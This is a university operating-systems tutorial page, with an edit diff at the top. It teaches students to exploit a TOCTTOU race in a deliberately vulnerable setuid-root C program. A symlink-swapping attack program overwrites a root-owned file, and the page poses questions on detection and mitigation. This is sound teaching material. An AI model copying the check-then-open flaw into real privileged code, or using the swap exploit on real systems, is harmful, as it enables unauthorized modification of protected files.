Operating Systems 2019W: Tutorial 9: Difference between revisions
No edit summary |
Housedhorse (talk | contribs) |
||
(2 intermediate revisions by one other user not shown) | |||
Line 67: | Line 67: | ||
* Vary the delays in the 3000fast-swap. Do shorter delays make it easier or harder to win the race? What about longer delays? | * Vary the delays in the 3000fast-swap. Do shorter delays make it easier or harder to win the race? What about longer delays? | ||
* Can you make 3000fast-swap use hard links instead of symbolic links? Why or why not? | * Can you make 3000fast-swap use hard links instead of symbolic links? Why or why not? | ||
* Does the attack work if you append rather than just write to the file? | |||
* How does the system call profile of the system change when these attacks are run? Are there more system calls? More failed ones? What kind? | * How does the system call profile of the system change when these attacks are run? Are there more system calls? More failed ones? What kind? | ||
* Load your machine with heavy CPU and/or I/O bound tasks. Do these affect how quickly you can win the race? | |||
* [HARD] Could 3000log-write.c tell that it had made a mistake and written to the wrong file? | * [HARD] Could 3000log-write.c tell that it had made a mistake and written to the wrong file? | ||
* Modify 3000log-write.c so it drops privileges temporarily while doing the write using <tt>seteuid</tt>. Is the modified version vulnerable to the same attack? | * Modify 3000log-write.c so it drops privileges temporarily while doing the write using <tt>seteuid</tt>. Is the modified version vulnerable to the same attack? | ||
* Do you think you could detect this attack by observing system call patterns? What about by observing patterns in the logs? (Could the attacker cover their tracks after they gained privileges?) | |||
==Code== | ==Code== | ||
=== | ===3000log-write.c=== | ||
<source lang="c" line> | <source lang="c" line> | ||
/* 3000log-write.c | /* 3000log-write.c |
Latest revision as of 11:41, 3 April 2019
In this tutorial you'll attempt to exploit a simple TOCTTOU vulnerability in 3000log-write.c using 3000fast-swap.c and some bash shell commands.
Tasks
Running 3000log-write
First, compile 3000log-write.c:
gcc -O2 3000log-write.c -o 3000log-write
If you try running it, you'll find that it won't do much because it isn't running as root.
To make the binary setuid root, do the following:
sudo su (to become root but stay in the same dir) chown root:root 3000log-write chmod u+s 3000log-write exit (so you're no longer root)
Create a file that will be overwritten:
echo "This file will be overwritten" > testfile
Now, try running the following as a regular user:
./3000log-write testfile "Kilroy was here"
What shows up in testfile? Anything surprising about what is in the file now?
Also, where was the record of this event recorded?
Setting up the exploit environment
To try to exploit the race condition, we will have a victimfile that is owned by root and a safefile that is the "safe" file that will pass the permission checks (i.e., it is owned by the unprivileged user running the attack). Note for the following we assume you are user student. If you are running as a different user you'll need to change the hardcoded paths in 3000fast-swap.c.
Compile 3000fast-swap.c:
gcc -O2 3000fast-swap.c -o 3000fast-swap
Make the directory for the attack:
mkdir /home/student/tmp
Create the safefile (owned by student):
echo "This is the safe file" > /home/student/tmp/safefile
Create the victimfile (owned by root):
sudo su echo "This is the victim file" > /etc/victimfile exit
Running the exploit
First, get 3000fast-swap running in the background:
3000fast-swap &
If you run top you should see it consuming significant resources.
Try viewing targetfile several times. You should see its contents changing between the victimfile and safefile. Note that sometimes targetfile may not exist while other times it does.
for x in `seq 1 10`; do cat /home/student/tmp/targetfile; done
Now try running 3000log-write many times and see whether the victimfile has changed:
for x in `seq 1 10`; do ./3000log-write /home/student/tmp/targetfile payload; done cat /etc/victimfile
Did victimfile change? If not, try running 3000log-write more times.
When you are done, be sure to kill off 3000fast-swap!
Other Tasks & Questions
- Add a timestamp to the log using ctime or equivalent.
- Vary the delays in the 3000fast-swap. Do shorter delays make it easier or harder to win the race? What about longer delays?
- Can you make 3000fast-swap use hard links instead of symbolic links? Why or why not?
- Does the attack work if you append rather than just write to the file?
- How does the system call profile of the system change when these attacks are run? Are there more system calls? More failed ones? What kind?
- Load your machine with heavy CPU and/or I/O bound tasks. Do these affect how quickly you can win the race?
- [HARD] Could 3000log-write.c tell that it had made a mistake and written to the wrong file?
- Modify 3000log-write.c so it drops privileges temporarily while doing the write using seteuid. Is the modified version vulnerable to the same attack?
- Do you think you could detect this attack by observing system call patterns? What about by observing patterns in the logs? (Could the attacker cover their tracks after they gained privileges?)
Code
3000log-write.c
/* 3000log-write.c
A program to demonstrate TOCTTOU issues
Usage: 3000log-write <file> <message>
When run, writes message to the file. It then also records a
record of this action to /var/log/comp3000-write.log
Note the program must be setuid root in order to add entries to
the log file (which is owned by root). But, it should only add entries
to files that the current user can write to.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define LOGFILE "/var/log/3000write.log"
void usage(char *message)
{
fprintf(stderr, "ERROR: %s\n", message);
fprintf(stderr, "Usage: log-append <file> <message>\n");
exit(-1);
}
void test_root_privileges(void)
{
if (geteuid() != 0) {
fprintf(stderr, "Not running with root privileges, exiting.\n");
exit(-1);
}
}
char *get_username(void)
{
char *username;
char *default_username = "UNKNOWN";
username = getenv("USER");
if (username == NULL) {
username = default_username;
}
return username;
}
void log_append(char *username, char *filename)
{
FILE *f;
f = fopen(LOGFILE, "a");
if (!f) {
fprintf(stderr, "Could not open log for writing.\n");
exit(-1);
}
fprintf(f, "%s (%d) appended to %s\n", username, getuid(), filename);
fclose(f);
}
void safe_write(char *filename, char *message)
{
int fd;
int allowed;
if (access(filename, W_OK)) {
fprintf(stderr, "You aren't allowed to write to %s\n",
filename);
exit(-1);
}
fd = open(filename, O_WRONLY);
if (fd == -1) {
fprintf(stderr, "Could not open %s for writing.\n", filename);
exit(-1);
}
write(fd, message, strlen(message));
close(fd);
}
int main(int argc, char *argv[])
{
char *username, *filename, *message;
test_root_privileges();
if (argc < 3) {
usage("Not enough arguments");
}
filename = argv[1];
message = argv[2];
username = get_username();
safe_write(filename, message);
log_append(username, filename);
printf("Message written to %s\n", filename);
return 0;
}
3000fast-swap.c
/* 3000fast-swap.c
Quickly swap files that are being used by 3000run-write.c.
This is part of how to exploit TOCTTOU (race condition)
vulnerability in 3000run-write.c
Note it assumes that:
/etc/victimfile is a file that is only writable by root
/home/student/tmp exists (and is owned by student)
/home/student/tmp/safefile exists (and is owned by student)
Change hard coded files and sleep times to change conditions of
the swapping.
*/
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char *argv[])
{
printf("Swapping between safefile and victimfile...\n");
while(1) {
unlink("/home/student/tmp/targetfile");
symlink("/etc/victimfile",
"/home/student/tmp/targetfile");
usleep(200);
unlink("/home/student/tmp/targetfile");
symlink("/home/student/tmp/safefile",
"/home/student/tmp/targetfile");
usleep(200);
}
return 0;
}